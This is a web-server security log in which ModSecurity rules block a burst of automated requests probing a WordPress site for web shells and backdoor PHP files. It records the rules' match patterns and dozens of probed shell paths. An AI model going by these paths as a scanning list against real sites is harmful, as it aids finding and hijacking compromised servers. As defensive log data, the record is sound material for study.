[Thu Nov 20 21:41:33.827691 2025] [:error] [pid 40636:tid 40649] [client 185.223.152.224:46111] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aR8ajQK8BWUoW3xq0HAs2wAAA4k"]
[Thu Nov 20 21:41:34.474429 2025] [:error] [pid 40537:tid 40548] [client 185.223.152.224:33445] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aR8ajqKlsL5kxTa3c1wAqQAAAsc"]
[Thu Nov 20 21:41:35.122311 2025] [:error] [pid 40445:tid 40497] [client 185.223.152.214:27159] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-signin.php"] [unique_id "aR8aj1H-MuFcoWRjXpaYIAAAAlY"]
[Thu Nov 20 21:41:35.771055 2025] [:error] [pid 40508:tid 40533] [client 185.223.152.7:51581] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aR8aj6xXNVCMW_ksxPvgJQAAApc"]
[Thu Nov 20 21:41:36.419013 2025] [:error] [pid 55343:tid 55400] [client 185.223.152.227:60635] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/login.php"] [unique_id "aR8akFWlO3EnyVMV7w7R9QAAAIE"]
[Thu Nov 20 21:41:37.065482 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.211:46633] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aR8akfPZXaIMEU4pE7shJQAAAMA"]
[Thu Nov 20 21:41:37.713563 2025] [:error] [pid 34405:tid 34425] [client 185.223.152.206:45547] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "aR8akTFpvu8oRK7ATftBFQAAARI"]
[Thu Nov 20 21:41:38.359086 2025] [:error] [pid 40508:tid 40518] [client 185.223.152.211:29985] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aR8akqxXNVCMW_ksxPvgNQAAAog"]
[Thu Nov 20 21:41:39.006299 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.223:45947] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aR8ak1H-MuFcoWRjXpaYNwAAAlA"]
[Thu Nov 20 21:41:41.049777 2025] [:error] [pid 55342:tid 55396] [client 185.223.152.205:50011] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/block-support.php"] [unique_id "aR8albg6x32Tvk7fIG8DVwAAAFg"]
[Thu Nov 20 21:41:41.696669 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.224:55619] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aR8alfPZXaIMEU4pE7shKAAAAMw"]
[Thu Nov 20 21:41:42.343653 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.227:58307] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aR8aljFpvu8oRK7ATftBGAAAARQ"]
[Thu Nov 20 21:41:42.990793 2025] [:error] [pid 40445:tid 40481] [client 185.223.152.214:63939] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aR8allH-MuFcoWRjXpaYSgAAAkY"]
[Thu Nov 20 21:41:43.638618 2025] [:error] [pid 40445:tid 40484] [client 185.223.152.5:63099] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aR8al1H-MuFcoWRjXpaYTQAAAkk"]
[Thu Nov 20 21:41:44.283780 2025] [:error] [pid 40415:tid 40434] [client 185.223.152.5:29113] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aR8amKhjIyLSv09svwPQ0QAAAdA"]
[Thu Nov 20 21:41:44.931724 2025] [:error] [pid 55340:tid 55362] [client 185.223.152.216:24977] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/buy.php"] [unique_id "aR8amPOxD-NeMydTybC_PQAAABE"]
[Thu Nov 20 21:41:45.580519 2025] [:error] [pid 55343:tid 55410] [client 185.223.152.218:55297] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/f.php"] [unique_id "aR8amVWlO3EnyVMV7w7R_AAAAIs"]
[Thu Nov 20 21:41:46.227184 2025] [:error] [pid 40508:tid 40510] [client 185.223.152.211:23601] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-header.php"] [unique_id "aR8amqxXNVCMW_ksxPvgRwAAAoA"]
[Thu Nov 20 21:41:46.877062 2025] [:error] [pid 40445:tid 40480] [client 185.223.152.204:39005] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aR8amlH-MuFcoWRjXpaYTwAAAkU"]
[Thu Nov 20 21:41:47.525247 2025] [:error] [pid 40636:tid 40649] [client 185.223.152.214:45679] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aR8amwK8BWUoW3xq0HAs6QAAA4k"]
[Thu Nov 20 21:41:48.175765 2025] [:error] [pid 55343:tid 55412] [client 185.223.152.223:62801] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/buy.php"] [unique_id "aR8anFWlO3EnyVMV7w7R_wAAAI0"]
[Thu Nov 20 21:41:48.828066 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.205:43337] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shell3.php"] [unique_id "aR8anFWlO3EnyVMV7w7SAAAAAI8"]
[Thu Nov 20 21:41:49.476163 2025] [:error] [pid 40445:tid 40482] [client 185.223.152.213:48611] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aR8anVH-MuFcoWRjXpaYVAAAAkc"]
[Thu Nov 20 21:41:50.121999 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.222:56675] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aR8anvPZXaIMEU4pE7shLgAAAMA"]
[Thu Nov 20 21:41:50.768740 2025] [:error] [pid 55430:tid 55446] [client 185.223.152.223:24501] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg/function.php"] [unique_id "aR8anvPZXaIMEU4pE7shLwAAAM0"]
[Thu Nov 20 21:41:51.550471 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.209:35193] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/uploaded_script.php"] [unique_id "aR8an6xXNVCMW_ksxPvgSgAAAo0"]
[Thu Nov 20 21:41:52.199966 2025] [:error] [pid 40508:tid 40519] [client 185.223.152.220:41643] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aR8aoKxXNVCMW_ksxPvgTAAAAok"]
[Thu Nov 20 21:41:52.850529 2025] [:error] [pid 55343:tid 55415] [client 185.223.152.225:33895] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "aR8aoFWlO3EnyVMV7w7SBQAAAJA"]
[Thu Nov 20 21:41:53.497763 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.226:48475] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/admin.php"] [unique_id "aR8aoVWlO3EnyVMV7w7SBgAAAJE"]
[Thu Nov 20 21:41:54.147708 2025] [:error] [pid 40445:tid 40498] [client 185.223.152.5:36127] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "aR8aolH-MuFcoWRjXpaYXQAAAlc"]
[Thu Nov 20 21:41:54.801032 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.219:26695] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aR8aolWlO3EnyVMV7w7SBwAAAIU"]
[Thu Nov 20 21:41:55.454238 2025] [:error] [pid 55342:tid 55378] [client 185.223.152.210:34477] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aR8ao7g6x32Tvk7fIG8DZgAAAEY"]
[Thu Nov 20 21:41:56.101612 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.207:21223] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-info.php"] [unique_id "aR8apPPZXaIMEU4pE7shMQAAANY"]
[Thu Nov 20 21:41:56.748626 2025] [:error] [pid 55342:tid 55391] [client 185.223.152.223:30221] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/a.php"] [unique_id "aR8apLg6x32Tvk7fIG8DaQAAAFM"]
[Thu Nov 20 21:41:57.394459 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.210:56697] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aR8apbg6x32Tvk7fIG8DagAAAFc"]
[Thu Nov 20 21:41:58.041287 2025] [:error] [pid 55343:tid 55400] [client 185.223.152.208:27077] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/index2.php"] [unique_id "aR8aplWlO3EnyVMV7w7SCgAAAIE"]
[Thu Nov 20 21:41:58.687516 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.224:27529] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "aR8aplH-MuFcoWRjXpaYYAAAAkM"]
[Thu Nov 20 21:41:59.334077 2025] [:error] [pid 55342:tid 55396] [client 185.223.152.214:26461] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "aR8ap7g6x32Tvk7fIG8DbQAAAFg"]
[Thu Nov 20 21:42:00.048695 2025] [:error] [pid 34405:tid 34428] [client 185.223.152.206:45625] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aR8aqDFpvu8oRK7ATftBIgAAARU"]
[Thu Nov 20 21:42:00.744014 2025] [:error] [pid 55430:tid 55457] [client 185.223.152.217:40923] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/index.php"] [unique_id "aR8aqPPZXaIMEU4pE7shNAAAANg"]
[Thu Nov 20 21:42:01.399634 2025] [:error] [pid 55430:tid 55454] [client 185.223.152.207:39991] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aR8aqfPZXaIMEU4pE7shNQAAANU"]
[Thu Nov 20 21:42:02.049290 2025] [:error] [pid 55343:tid 55421] [client 185.223.152.225:39679] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aR8aqlWlO3EnyVMV7w7SDQAAAJY"]
[Thu Nov 20 21:42:02.697524 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.5:42047] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conf.php"] [unique_id "aR8aqjFpvu8oRK7ATftBJQAAAQI"]
[Thu Nov 20 21:42:03.343679 2025] [:error] [pid 40508:tid 40526] [client 185.223.152.215:60137] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "aR8aq6xXNVCMW_ksxPvgYwAAApA"]
[Thu Nov 20 21:42:03.997952 2025] [:error] [pid 40445:tid 40497] [client 185.223.152.210:53291] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aR8aq1H-MuFcoWRjXpaYdQAAAlY"]
[Thu Nov 20 21:42:04.643852 2025] [:error] [pid 55430:tid 55441] [client 185.223.152.214:28633] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "aR8arPPZXaIMEU4pE7shNwAAAMg"]
[Thu Nov 20 21:42:05.293479 2025] [:error] [pid 40415:tid 40422] [client 185.223.152.210:41821] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-files.php"] [unique_id "aR8arahjIyLSv09svwPQ4QAAAcQ"]
[Thu Nov 20 21:42:05.940272 2025] [:error] [pid 40445:tid 40484] [client 185.223.152.8:26193] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/"] [unique_id "aR8arVH-MuFcoWRjXpaYegAAAkk"]
[Thu Nov 20 21:42:06.586099 2025] [:error] [pid 55430:tid 55450] [client 185.223.152.214:47617] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/admin.php"] [unique_id "aR8arvPZXaIMEU4pE7shPAAAANE"]
[Thu Nov 20 21:42:07.233523 2025] [:error] [pid 40508:tid 40522] [client 185.223.152.209:30669] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aR8ar6xXNVCMW_ksxPvgZwAAAow"]
[Thu Nov 20 21:42:07.881174 2025] [:error] [pid 40445:tid 40490] [client 185.223.152.6:39547] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "aR8ar1H-MuFcoWRjXpaYewAAAk8"]
[Thu Nov 20 21:42:08.529389 2025] [:error] [pid 40415:tid 40429] [client 185.223.152.220:31751] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/m.php"] [unique_id "aR8asKhjIyLSv09svwPQ4gAAAcs"]
[Thu Nov 20 21:42:09.176069 2025] [:error] [pid 40415:tid 40440] [client 185.223.152.7:22397] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aR8asahjIyLSv09svwPQ4wAAAdY"]
[Thu Nov 20 21:42:09.823466 2025] [:error] [pid 34405:tid 34425] [client 185.223.152.224:20547] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aR8asTFpvu8oRK7ATftBKgAAARI"]
